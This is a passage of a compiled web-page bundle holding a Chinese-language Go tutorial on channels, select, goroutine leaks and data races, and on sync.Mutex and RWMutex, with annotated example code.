70\u4f20\u53c2\u53ca\u4efb\u4f55\u8d4b\u503c\u64cd\u4f5c\u4e2d\u5168\u5411\u901a\u9053\uff08\u6b63\u5e38\u901a\u9053\uff09\u53ef\u4ee5\u8f6c\u6362\u4e3a\u5355\u5411\u901a\u9053\uff0c\u4f46\u662f\u65e0\u6cd5\u53cd\u5411\u8f6c\u6362\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var ch3 = make(chan int, 1)\nch3 <- 10\nclose(ch3)\nConsumer2(ch3) // \u51fd\u6570\u4f20\u53c2\u65f6\u5c06ch3\u8f6c\u4e3a\u5355\u5411\u901a\u9053\n\nvar ch4 = make(chan int, 1)\nch4 <- 10\nvar ch5 <-chan int // \u58f0\u660e\u4e00\u4e2a\u53ea\u63a5\u6536\u901a\u9053ch5\nch5 = ch4 // \u53d8\u91cf\u8d4b\u503c\u65f6\u5c06ch4\u8f6c\u4e3a\u5355\u5411\u901a\u9053\n<-ch5\n"})}),"\n",(0,i.jsx)(e.h3,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u8868\u683c\u4e2d\u603b\u7ed3\u4e86\u5bf9\u4e0d\u540c\u72b6\u6001\u4e0b\u7684\u901a\u9053\u6267\u884c\u76f8\u5e94\u64cd\u4f5c\u7684\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"img",src:t(52164).A+"",width:"598",height:"321"})}),"\n",(0,i.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u5bf9\u5df2\u7ecf\u5173\u95ed\u7684\u901a\u9053\u518d\u6267\u884c close \u4e5f\u4f1a\u5f15\u53d1 panic\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"select\u591a\u8def\u590d\u7528",children:"select\u591a\u8def\u590d\u7528"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u80fd\u9700\u8981\u540c\u65f6\u4ece\u591a\u4e2a\u901a\u9053\u63a5\u6536\u6570\u636e\u3002\u901a\u9053\u5728\u63a5\u6536\u6570\u636e\u65f6\uff0c\u5982\u679c\u6ca1\u6709\u6570\u636e\u53ef\u4ee5\u88ab\u63a5\u6536\u90a3\u4e48\u5f53\u524d goroutine \u5c06\u4f1a\u53d1\u751f\u963b\u585e\u3002\u4f60\u4e5f\u8bb8\u4f1a\u5199\u51fa\u5982\u4e0b\u4ee3\u7801\u5c1d\u8bd5\u4f7f\u7528\u904d\u5386\u7684\u65b9\u5f0f\u6765\u5b9e\u73b0\u4ece\u591a\u4e2a\u901a\u9053\u4e2d\u63a5\u6536\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"for{\n // \u5c1d\u8bd5\u4ecech1\u63a5\u6536\u503c\n data, ok := <-ch1\n // \u5c1d\u8bd5\u4ecech2\u63a5\u6536\u503c\n data, ok := <-ch2\n \u2026\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u79cd\u65b9\u5f0f\u867d\u7136\u53ef\u4ee5\u5b9e\u73b0\u4ece\u591a\u4e2a\u901a\u9053\u63a5\u6536\u503c\u7684\u9700\u6c42\uff0c\u4f46\u662f\u7a0b\u5e8f\u7684\u8fd0\u884c\u6027\u80fd\u4f1a\u5dee\u5f88\u591a\u3002Go \u8bed\u8a00\u5185\u7f6e\u4e86",(0,i.jsx)(e.code,{children:"select"}),"\u5173\u952e\u5b57\uff0c\u4f7f\u7528\u5b83\u53ef\u4ee5\u540c\u65f6\u54cd\u5e94\u591a\u4e2a\u901a\u9053\u7684\u64cd\u4f5c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Select \u7684\u4f7f\u7528\u65b9\u5f0f\u7c7b\u4f3c\u4e8e\u4e4b\u524d\u5b66\u5230\u7684 switch \u8bed\u53e5\uff0c\u5b83\u4e5f\u6709\u4e00\u7cfb\u5217 case \u5206\u652f\u548c\u4e00\u4e2a\u9ed8\u8ba4\u7684\u5206\u652f\u3002\u6bcf\u4e2a case \u5206\u652f\u4f1a\u5bf9\u5e94\u4e00\u4e2a\u901a\u9053\u7684\u901a\u4fe1\uff08\u63a5\u6536\u6216\u53d1\u9001\uff09\u8fc7\u7a0b\u3002select \u4f1a\u4e00\u76f4\u7b49\u5f85\uff0c\u76f4\u5230\u5176\u4e2d\u7684\u67d0\u4e2a case \u7684\u901a\u4fe1\u64cd\u4f5c\u5b8c\u6210\u65f6\uff0c\u5c31\u4f1a\u6267\u884c\u8be5 case \u5206\u652f\u5bf9\u5e94\u7684\u8bed\u53e5\u3002\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"select {\ncase <-ch1:\n\t//...\ncase data := <-ch2:\n\t//...\ncase ch3 <- 10:\n\t//...\ndefault:\n\t//\u9ed8\u8ba4\u64cd\u4f5c\n}\n"})}),"\n",(0,i.jsx)(e.p,{children:"Select \u8bed\u53e5\u5177\u6709\u4ee5\u4e0b\u7279\u70b9\u3002"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u53ef\u5904\u7406\u4e00\u4e2a\u6216\u591a\u4e2a channel \u7684\u53d1\u9001/\u63a5\u6536\u64cd\u4f5c\u3002"}),"\n",(0,i.jsxs)(e.li,{children:["\u5982\u679c\u591a\u4e2a case \u540c\u65f6\u6ee1\u8db3\uff0cselect \u4f1a",(0,i.jsx)(e.strong,{children:"\u968f\u673a"}),"\u9009\u62e9\u4e00\u4e2a\u6267\u884c\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e8e\u6ca1\u6709 case \u7684 select \u4f1a\u4e00\u76f4\u963b\u585e\uff0c\u53ef\u7528\u4e8e\u963b\u585e main \u51fd\u6570\uff0c\u9632\u6b62\u9000\u51fa\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u80fd\u591f\u5728\u7ec8\u7aef\u6253\u5370\u51fa10\u4ee5\u5185\u7684\u5947\u6570\uff0c\u6211\u4eec\u501f\u52a9\u8fd9\u4e2a\u4ee3\u7801\u7247\u6bb5\u6765\u770b\u4e00\u4e0b select \u7684\u5177\u4f53\u4f7f\u7528\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\nfunc main() {\n\tch := make(chan int, 1)\n\tfor i := 1; i <= 10; i++ {\n\t\tselect {\n\t\tcase x := <-ch:\n\t\t\tfmt.Println(x)\n\t\tcase ch <- i:\n\t\t}\n\t}\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4e0a\u9762\u7684\u4ee3\u7801\u8f93\u51fa\u5185\u5bb9\u5982\u4e0b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"1\n3\n5\n7\n9\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u793a\u4f8b\u4e2d\u7684\u4ee3\u7801\u9996\u5148\u662f\u521b\u5efa\u4e86\u4e00\u4e2a\u7f13\u51b2\u533a\u5927\u5c0f\u4e3a1\u7684\u901a\u9053 ch\uff0c\u8fdb\u5165 for \u5faa\u73af\u540e\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\u7b2c\u4e00\u6b21\u5faa\u73af\u65f6 i = 1\uff0cselect \u8bed\u53e5\u4e2d\u5305\u542b\u4e24\u4e2a case \u5206\u652f\uff0c\u6b64\u65f6\u7531\u4e8e\u901a\u9053\u4e2d\u6ca1\u6709\u503c\u53ef\u4ee5\u63a5\u6536\uff0c\u6240\u4ee5",(0,i.jsx)(e.code,{children:"x := <-ch"})," \u8fd9\u4e2a case \u5206\u652f\u4e0d\u6ee1\u8db3\uff0c\u800c",(0,i.jsx)(e.code,{children:"ch <- i"}),"\u8fd9\u4e2a\u5206\u652f\u53ef\u4ee5\u6267\u884c\uff0c\u4f1a\u628a1\u53d1\u9001\u5230\u901a\u9053\u4e2d\uff0c\u7ed3\u675f\u672c\u6b21 for \u5faa\u73af\uff1b"]}),"\n",(0,i.jsxs)(e.li,{children:["\u7b2c\u4e8c\u6b21 for \u5faa\u73af\u65f6\uff0ci = 2\uff0c\u7531\u4e8e\u901a\u9053\u7f13\u51b2\u533a\u5df2\u6ee1\uff0c\u6240\u4ee5",(0,i.jsx)(e.code,{children:"ch <- i"}),"\u8fd9\u4e2a\u5206\u652f\u4e0d\u6ee1\u8db3\uff0c\u800c",(0,i.jsx)(e.code,{children:"x := <-ch"}),"\u8fd9\u4e2a\u5206\u652f\u53ef\u4ee5\u6267\u884c\uff0c\u4ece\u901a\u9053\u63a5\u6536\u503c1\u5e76\u8d4b\u503c\u7ed9\u53d8\u91cf x \uff0c\u6240\u4ee5\u4f1a\u5728\u7ec8\u7aef\u6253\u5370\u51fa 1\uff1b"]}),"\n",(0,i.jsx)(e.li,{children:"\u540e\u7eed\u7684 for \u5faa\u73af\u4ee5\u6b64\u7c7b\u63a8\u4f1a\u4f9d\u6b21\u6253\u5370\u51fa3\u30015\u30017\u30019\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"\u901a\u9053\u8bef\u7528\u793a\u4f8b",children:"\u901a\u9053\u8bef\u7528\u793a\u4f8b"}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5c06\u5c55\u793a\u4e24\u4e2a\u56e0\u8bef\u7528\u901a\u9053\u5bfc\u81f4\u7a0b\u5e8f\u51fa\u73b0 bug \u7684\u4ee3\u7801\u7247\u6bb5\uff0c\u5e0c\u671b\u80fd\u591f\u52a0\u6df1\u8bfb\u8005\u5bf9\u901a\u9053\u64cd\u4f5c\u7684\u5370\u8c61\u3002"}),"\n",(0,i.jsx)(e.h4,{id:"\u793a\u4f8b1",children:"\u793a\u4f8b1"}),"\n",(0,i.jsx)(e.p,{children:"\u5404\u4f4d\u8bfb\u8005\u53ef\u4ee5\u67e5\u770b\u4ee5\u4e0b\u793a\u4f8b\u4ee3\u7801\uff0c\u5c1d\u8bd5\u627e\u51fa\u5176\u4e2d\u5b58\u5728\u7684\u95ee\u9898\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// demo1 \u901a\u9053\u8bef\u7528\u5bfc\u81f4\u7684bug\nfunc demo1() {\n\twg := sync.WaitGroup{}\n\n\tch := make(chan int, 10)\n\tfor i := 0; i < 10; i++ {\n\t\tch <- i\n\t}\n\tclose(ch)\n\n\twg.Add(3)\n\tfor j := 0; j < 3; j++ {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\ttask := <-ch\n\t\t\t\t// \u8fd9\u91cc\u5047\u8bbe\u5bf9\u63a5\u6536\u7684\u6570\u636e\u6267\u884c\u67d0\u4e9b\u64cd\u4f5c\n\t\t\t\tfmt.Println(task)\n\t\t\t}\n\t\t\twg.Done()\n\t\t}()\n\t}\n\twg.Wait()\n}\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5c06\u4e0a\u8ff0\u4ee3\u7801\u7f16\u8bd1\u6267\u884c\u540e\uff0c\u533f\u540d\u51fd\u6570\u6240\u5728\u7684 goroutine \u5e76\u4e0d\u4f1a\u6309\u7167\u9884\u671f\u5728\u901a\u9053\u88ab\u5173\u95ed\u540e\u9000\u51fa\u3002\u56e0\u4e3a",(0,i.jsx)(e.code,{children:"task := <- ch"}),"\u7684\u63a5\u6536\u64cd\u4f5c\u5728\u901a\u9053\u88ab\u5173\u95ed\u540e\u4f1a\u4e00\u76f4\u63a5\u6536\u5230\u96f6\u503c\uff0c\u800c\u4e0d\u4f1a\u9000\u51fa\u3002\u6b64\u5904\u7684\u63a5\u6536\u64cd\u4f5c\u5e94\u8be5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"task, ok := <- ch"}),"\uff0c\u901a\u8fc7\u5224\u65ad\u5e03\u5c14\u503c",(0,i.jsx)(e.code,{children:"ok"}),"\u4e3a\u5047\u65f6\u9000\u51fa\uff1b\u6216\u8005\u4f7f\u7528select \u6765\u5904\u7406\u901a\u9053\u3002"]}),"\n",(0,i.jsx)(e.h4,{id:"\u793a\u4f8b2",children:"\u793a\u4f8b2"}),"\n",(0,i.jsx)(e.p,{children:"\u5404\u4f4d\u8bfb\u8005\u9605\u8bfb\u4e0b\u65b9\u4ee3\u7801\u7247\u6bb5\uff0c\u5c1d\u8bd5\u627e\u51fa\u5176\u4e2d\u5b58\u5728\u7684\u95ee\u9898\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'// demo2 \u901a\u9053\u8bef\u7528\u5bfc\u81f4\u7684bug\nfunc demo2() {\n\tch := make(chan string)\n\tgo func() {\n\t\t// \u8fd9\u91cc\u5047\u8bbe\u6267\u884c\u4e00\u4e9b\u8017\u65f6\u7684\u64cd\u4f5c\n\t\ttime.Sleep(3 * time.Second)\n\t\tch <- "job result"\n\t}()\n\n\tselect {\n\tcase result := <-ch:\n\t\tfmt.Println(result)\n\tcase <-time.After(time.Second): // \u8f83\u5c0f\u7684\u8d85\u65f6\u65f6\u95f4\n\t\treturn\n\t}\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u8ff0\u4ee3\u7801\u7247\u6bb5\u53ef\u80fd\u5bfc\u81f4 goroutine \u6cc4\u9732\uff08goroutine \u5e76\u672a\u6309\u9884\u671f\u9000\u51fa\u5e76\u9500\u6bc1\uff09\u3002\u7531\u4e8e select \u547d\u4e2d\u4e86\u8d85\u65f6\u903b\u8f91\uff0c\u5bfc\u81f4\u901a\u9053\u6ca1\u6709\u6d88\u8d39\u8005\uff08\u65e0\u63a5\u6536\u64cd\u4f5c\uff09\uff0c\u800c\u5176\u5b9a\u4e49\u7684\u901a\u9053\u4e3a\u65e0\u7f13\u51b2\u901a\u9053\uff0c\u56e0\u6b64 goroutine \u4e2d\u7684",(0,i.jsx)(e.code,{children:'ch <- "job result"'}),"\u64cd\u4f5c\u4f1a\u4e00\u76f4\u963b\u585e\uff0c\u6700\u7ec8\u5bfc\u81f4 goroutine \u6cc4\u9732\u3002"]}),"\n",(0,i.jsx)(e.h2,{id:"\u5e76\u53d1\u5b89\u5168\u548c\u9501",children:"\u5e76\u53d1\u5b89\u5168\u548c\u9501"}),"\n",(0,i.jsxs)(e.p,{children:["\u6709\u65f6\u5019\u6211\u4eec\u7684\u4ee3\u7801\u4e2d\u53ef\u80fd\u4f1a\u5b58\u5728\u591a\u4e2a goroutine \u540c\u65f6\u64cd\u4f5c\u4e00\u4e2a\u8d44\u6e90\uff08\u4e34\u754c\u533a\uff09\u7684\u60c5\u51b5\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5c31\u4f1a\u53d1\u751f",(0,i.jsx)(e.code,{children:"\u7ade\u6001\u95ee\u9898"}),"\uff08\u6570\u636e\u7ade\u6001\uff09\u3002\u8fd9\u5c31\u597d\u6bd4\u73b0\u5b9e\u751f\u6d3b\u4e2d\u5341\u5b57\u8def\u53e3\u88ab\u5404\u4e2a\u65b9\u5411\u7684\u6c7d\u8f66\u7ade\u4e89\uff0c\u8fd8\u6709\u706b\u8f66\u4e0a\u7684\u536b\u751f\u95f4\u88ab\u8f66\u53a2\u91cc\u7684\u4eba\u7ade\u4e89\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u7528\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e00\u4e2a\u6570\u636e\u7ade\u4e89\u7684\u793a\u4f8b\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\nvar (\n\tx int64\n\n\twg sync.WaitGroup // \u7b49\u5f85\u7ec4\n)\n\n// add \u5bf9\u5168\u5c40\u53d8\u91cfx\u6267\u884c5000\u6b21\u52a01\u64cd\u4f5c\nfunc add() {\n\tfor i := 0; i < 5000; i++ {\n\t\tx = x + 1\n\t}\n\twg.Done()\n}\n\nfunc main() {\n\twg.Add(2)\n\n\tgo add()\n\tgo add()\n\n\twg.Wait()\n\tfmt.Println(x)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u6267\u884c\uff0c\u4e0d\u51fa\u610f\u5916\u6bcf\u6b21\u6267\u884c\u90fd\u4f1a\u8f93\u51fa\u8bf8\u59829537\u30015865\u30016527\u7b49\u4e0d\u540c\u7684\u7ed3\u679c\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4e0a\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u7247\u4e2d\uff0c\u6211\u4eec\u5f00\u542f\u4e86\u4e24\u4e2a goroutine \u5206\u522b\u6267\u884c add \u51fd\u6570\uff0c\u8fd9\u4e24\u4e2a goroutine \u5728\u8bbf\u95ee\u548c\u4fee\u6539\u5168\u5c40\u7684",(0,i.jsx)(e.code,{children:"x"}),"\u53d8\u91cf\u65f6\u5c31\u4f1a\u5b58\u5728\u6570\u636e\u7ade\u4e89\uff0c\u67d0\u4e2a goroutine \u4e2d\u5bf9\u5168\u5c40\u53d8\u91cf",(0,i.jsx)(e.code,{children:"x"}),"\u7684\u4fee\u6539\u53ef\u80fd\u4f1a\u8986\u76d6\u6389\u53e6\u4e00\u4e2a goroutine \u4e2d\u7684\u64cd\u4f5c\uff0c\u6240\u4ee5\u5bfc\u81f4\u6700\u540e\u7684\u7ed3\u679c\u4e0e\u9884\u671f\u4e0d\u7b26\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u4e92\u65a5\u9501",children:"\u4e92\u65a5\u9501"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e92\u65a5\u9501\u662f\u4e00\u79cd\u5e38\u7528\u7684\u63a7\u5236\u5171\u4eab\u8d44\u6e90\u8bbf\u95ee\u7684\u65b9\u6cd5\uff0c\u5b83\u80fd\u591f\u4fdd\u8bc1\u540c\u4e00\u65f6\u95f4\u53ea\u6709\u4e00\u4e2a goroutine \u53ef\u4ee5\u8bbf\u95ee\u5171\u4eab\u8d44\u6e90\u3002Go \u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u63d0\u4f9b\u7684",(0,i.jsx)(e.code,{children:"Mutex"}),"\u7c7b\u578b\u6765\u5b9e\u73b0\u4e92\u65a5\u9501\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.Mutex"}),"\u63d0\u4f9b\u4e86\u4e24\u4e2a\u65b9\u6cd5\u4f9b\u6211\u4eec\u4f7f\u7528\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Mutex) Lock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u83b7\u53d6\u4e92\u65a5\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (m *Mutex) Unlock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u91ca\u653e\u4e92\u65a5\u9501"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u4f7f\u7528\u4e92\u65a5\u9501\u9650\u5236\u6bcf\u6b21\u53ea\u6709\u4e00\u4e2a goroutine \u624d\u80fd\u4fee\u6539\u5168\u5c40\u53d8\u91cf",(0,i.jsx)(e.code,{children:"x"}),"\uff0c\u4ece\u800c\u4fee\u590d\u4e0a\u9762\u4ee3\u7801\u4e2d\u7684\u95ee\u9898\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\n// sync.Mutex\n\nvar (\n\tx int64\n\n\twg sync.WaitGroup // \u7b49\u5f85\u7ec4\n\n\tm sync.Mutex // \u4e92\u65a5\u9501\n)\n\n// add \u5bf9\u5168\u5c40\u53d8\u91cfx\u6267\u884c5000\u6b21\u52a01\u64cd\u4f5c\nfunc add() {\n\tfor i := 0; i < 5000; i++ {\n\t\tm.Lock() // \u4fee\u6539x\u524d\u52a0\u9501\n\t\tx = x + 1\n\t\tm.Unlock() // \u6539\u5b8c\u89e3\u9501\n\t}\n\twg.Done()\n}\n\nfunc main() {\n\twg.Add(2)\n\n\tgo add()\n\tgo add()\n\n\twg.Wait()\n\tfmt.Println(x)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u7f16\u8bd1\u540e\u591a\u6b21\u6267\u884c\uff0c\u6bcf\u4e00\u6b21\u90fd\u4f1a\u5f97\u5230\u9884\u671f\u4e2d\u7684\u7ed3\u679c\u2014\u201410000\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4f7f\u7528\u4e92\u65a5\u9501\u80fd\u591f\u4fdd\u8bc1\u540c\u4e00\u65f6\u95f4\u6709\u4e14\u53ea\u6709\u4e00\u4e2a goroutine \u8fdb\u5165\u4e34\u754c\u533a\uff0c\u5176\u4ed6\u7684 goroutine \u5219\u5728\u7b49\u5f85\u9501\uff1b\u5f53\u4e92\u65a5\u9501\u91ca\u653e\u540e\uff0c\u7b49\u5f85\u7684 goroutine \u624d\u53ef\u4ee5\u83b7\u53d6\u9501\u8fdb\u5165\u4e34\u754c\u533a\uff0c\u591a\u4e2a goroutine \u540c\u65f6\u7b49\u5f85\u4e00\u4e2a\u9501\u65f6\uff0c\u5524\u9192\u7684\u7b56\u7565\u662f\u968f\u673a\u7684\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u8bfb\u5199\u4e92\u65a5\u9501",children:"\u8bfb\u5199\u4e92\u65a5\u9501"}),"\n",(0,i.jsxs)(e.p,{children:["\u4e92\u65a5\u9501\u662f\u5b8c\u5168\u4e92\u65a5\u7684\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u6709\u5f88\u591a\u573a\u666f\u662f\u8bfb\u591a\u5199\u5c11\u7684\uff0c\u5f53\u6211\u4eec\u5e76\u53d1\u7684\u53bb\u8bfb\u53d6\u4e00\u4e2a\u8d44\u6e90\u800c\u4e0d\u6d89\u53ca\u8d44\u6e90\u4fee\u6539\u7684\u65f6\u5019\u662f\u6ca1\u6709\u5fc5\u8981\u52a0\u4e92\u65a5\u9501\u7684\uff0c\u8fd9\u79cd\u573a\u666f\u4e0b\u4f7f\u7528\u8bfb\u5199\u9501\u662f\u66f4\u597d\u7684\u4e00\u79cd\u9009\u62e9\u3002\u8bfb\u5199\u9501\u5728 Go \u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync"}),"\u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"RWMutex"}),"\u7c7b\u578b\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"sync.RWMutex"}),"\u63d0\u4f9b\u4e86\u4ee5\u4e0b5\u4e2a\u65b9\u6cd5\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5\u540d"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u529f\u80fd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) Lock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u83b7\u53d6\u5199\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) Unlock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u91ca\u653e\u5199\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) RLock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u83b7\u53d6\u8bfb\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) RUnlock()"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u91ca\u653e\u8bfb\u9501"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"func (rw *RWMutex) RLocker() Locker"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8fd4\u56de\u4e00\u4e2a\u5b9e\u73b0Locker\u63a5\u53e3\u7684\u8bfb\u5199\u9501"})]})]})]}),"\n",(0,i.jsx)(e.p,{children:"\u8bfb\u5199\u9501\u5206\u4e3a\u4e24\u79cd\uff1a\u8bfb\u9501\u548c\u5199\u9501\u3002\u5f53\u4e00\u4e2a goroutine \u83b7\u53d6\u5230\u8bfb\u9501\u4e4b\u540e\uff0c\u5176\u4ed6\u7684 goroutine \u5982\u679c\u662f\u83b7\u53d6\u8bfb\u9501\u4f1a\u7ee7\u7eed\u83b7\u5f97\u9501\uff0c\u5982\u679c\u662f\u83b7\u53d6\u5199\u9501\u5c31\u4f1a\u7b49\u5f85\uff1b\u800c\u5f53\u4e00\u4e2a goroutine \u83b7\u53d6\u5199\u9501\u4e4b\u540e\uff0c\u5176\u4ed6\u7684 goroutine \u65e0\u8bba\u662f\u83b7\u53d6\u8bfb\u9501\u8fd8\u662f\u5199\u9501\u90fd\u4f1a\u7b49\u5f85\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4ee3\u7801\u6784\u9020\u4e00\u4e2a\u8bfb\u591a\u5199\u5c11\u7684\u573a\u666f\uff0c\u7136\u540e\u5206\u522b\u4f7f\u7528\u4e92\u65a5\u9501\u548c\u8bfb\u5199\u9501\u67e5\u770b\u5b83\u4eec\u7684\u6027\u80fd\u5dee\u5f02\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'var (\n\tx int64\n\twg sync.WaitGroup\n\tmutex sync.Mutex\n\trwMutex sync.RWMutex\n)\n\n// writeWithLock \u4f7f\u7528\u4e92\u65a5\u9501\u7684\u5199\u64cd\u4f5c\nfunc writeWithLock() {\n\tmutex.Lock() // \u52a0\u4e92\u65a5\u9501\n\tx = x + 1\n\ttime.Sleep(10 * time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f610\u6beb\u79d2\n\tmutex.Unlock() // \u89e3\u4e92\u65a5\u9501\n\twg.Done()\n}\n\n// readWithLock \u4f7f\u7528\u4e92\u65a5\u9501\u7684\u8bfb\u64cd\u4f5c\nfunc readWithLock() {\n\tmutex.Lock() // \u52a0\u4e92\u65a5\u9501\n\ttime.Sleep(time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f61\u6beb\u79d2\n\tmutex.Unlock() // \u91ca\u653e\u4e92\u65a5\u9501\n\twg.Done()\n}\n\n// writeWithLock \u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\u7684\u5199\u64cd\u4f5c\nfunc writeWithRWLock() {\n\trwMutex.Lock() // \u52a0\u5199\u9501\n\tx = x + 1\n\ttime.Sleep(10 * time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f610\u6beb\u79d2\n\trwMutex.Unlock() // \u91ca\u653e\u5199\u9501\n\twg.Done()\n}\n\n// readWithRWLock \u4f7f\u7528\u8bfb\u5199\u4e92\u65a5\u9501\u7684\u8bfb\u64cd\u4f5c\nfunc readWithRWLock() {\n\trwMutex.RLock() // \u52a0\u8bfb\u9501\n\ttime.Sleep(time.Millisecond) // \u5047\u8bbe\u8bfb\u64cd\u4f5c\u8017\u65f61\u6beb\u79d2\n\trwMutex.RUnlock() // \u91ca\u653e\u8bfb\u9501\n\twg.Done()\n}\n\nfunc do(wf, rf func(), wc, rc int) {\n\tstart := time.Now()\n\t// wc\u4e2a\u5e76\u53d1\u5199\u64cd\u4f5c\n\tfor i := 0; i < wc; i++ {\n\t\twg.Add(1)\n\t\tgo wf()\n\t}\n\n\t// rc\u4e2a\u5e76\u53d1\u8bfb\u64cd\u4f5c\n\tfor i := 0; i < rc; i++ {\n\t\twg.Add(1)\n\t\tgo rf()\n\t}\n\n\twg.Wait()\n\tcost := time.Since(start)\n\tfmt.Printf("x:%v cost:%v\\n", x, 